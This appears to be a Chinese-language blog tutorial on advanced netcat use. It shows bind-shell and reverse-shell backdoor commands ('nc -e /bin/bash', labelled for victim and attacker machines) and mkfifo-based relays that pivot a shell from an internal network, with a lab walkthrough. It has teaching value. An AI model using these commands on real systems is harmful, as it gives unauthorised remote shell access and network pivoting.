nc高级用法

1 分钟读完

nc实现后门

《reverse shell原理》讲过用bash和python实现reverse shell的原理.

1.正向

受害机:

nc -l -p 3333 -e /bin/bash  

攻击机:

nc targetip 3333  

有的版本不能同时使用-l和-p选项,这时只使用-p选项指定端口就可以建立监听。

2.反向

攻击机:

nc -l -vv -p 3333   

受害机:

nc -e /bin/bash targetip 3333  

nc端口转发

1. listener-to-client模式

用于外网访问内网

$ mkfifo backpipe
$ nc -l -p [localport] 0< backpipe | nc [target ip] [port] | tee backpipe

mkfifo命令是创建一个先进先出的管道文件,具体见后面。 nc命令分解一下,如下:

nc -l -p [localport] 0< backpipe 

在本地localport端口监听TCP 连接,记为一个socket-1,socket-1从标准输入0读取数据并发送向TCP连接的另一端,socket-1从另一端收到的数据写到标准输出1,将backpipe文件内容重定向到标准输入0,通过管道将socket-1的收到的数据重定向到命令

nc [target ip] [port]

作为其标准输入,这条命令也会建立一个连接,记为socket-2,socket-2将socket-1的输出作为输入发送出去,socket-2收到的数据通过管道重定向到下一条命令:

tee backpipe

这条命令将socket-2收到的数据作为标准输入,写到标准输出1,这次是显示在终端了,同时写入到文件backpipe,这样socket-1又有数据要传送了。

2. listener-to-listener模式

用于一个内网机器和另一个内网机器通信

$ mkfifo backpipe
$ nc -l -p [localport1] 0< backpipe | nc -l -p [localport2] | tee backpipe

3. client-to-client模式

$ mkfifo backpipe
$ nc [ip1] [port1] 0< backpipe | nc [ip2] [port2] | tee backpipe

nc端口转发实例

ubuntu中打开三个终端模拟端口转发的3个,本地IP是192.168.232.128

1. 内网和外网

控制端:

nc -l -p 3333

中转站:

mkfifo hubpipe
nc -l -p 2222 0<hubpipe|nc 192.168.232.128 3333|tee hubpipe

被控端:

nc 192.168.232.128 2222 -e /bin/bash

2. 内网和内网

中转站:

mkfifo hubpipe
nc -l -p 2222 0<hubpipe|nc -l -p 3333|tee hubpipe

控制端:

nc 192.168.232.128 3333

被控端:

nc 192.168.232.128 2222 -e /bin/bash

注释

1. mkfifo

mkfifo命令用于创建一个FIFO(先进先出)方式的命名管道,具体用法如下

Usage: mkfifo [OPTION]... NAME...
Create named pipes (FIFOs) with the given NAMEs.
Mandatory arguments to long options are mandatory for short options too.
  -m, --mode=MODE    set file permission bits to MODE, not a=rw - umask
  -Z, --context=CTX  set the SELinux security context of each NAME to CTX
	  --help     display this help and exit
	  --version  output version information and exit

2. tee

tee命令将标准输入的数据写入标准输出和tee命令指定的文件参数

NAME
	   tee - read from standard input and write to standard output and files
SYNOPSIS
	   tee [OPTION]... [FILE]...
DESCRIPTION
	   Copy standard input to each FILE, and also to standard output.

3. 标准流

stdin	0
stdout	1
stderr	2

留下评论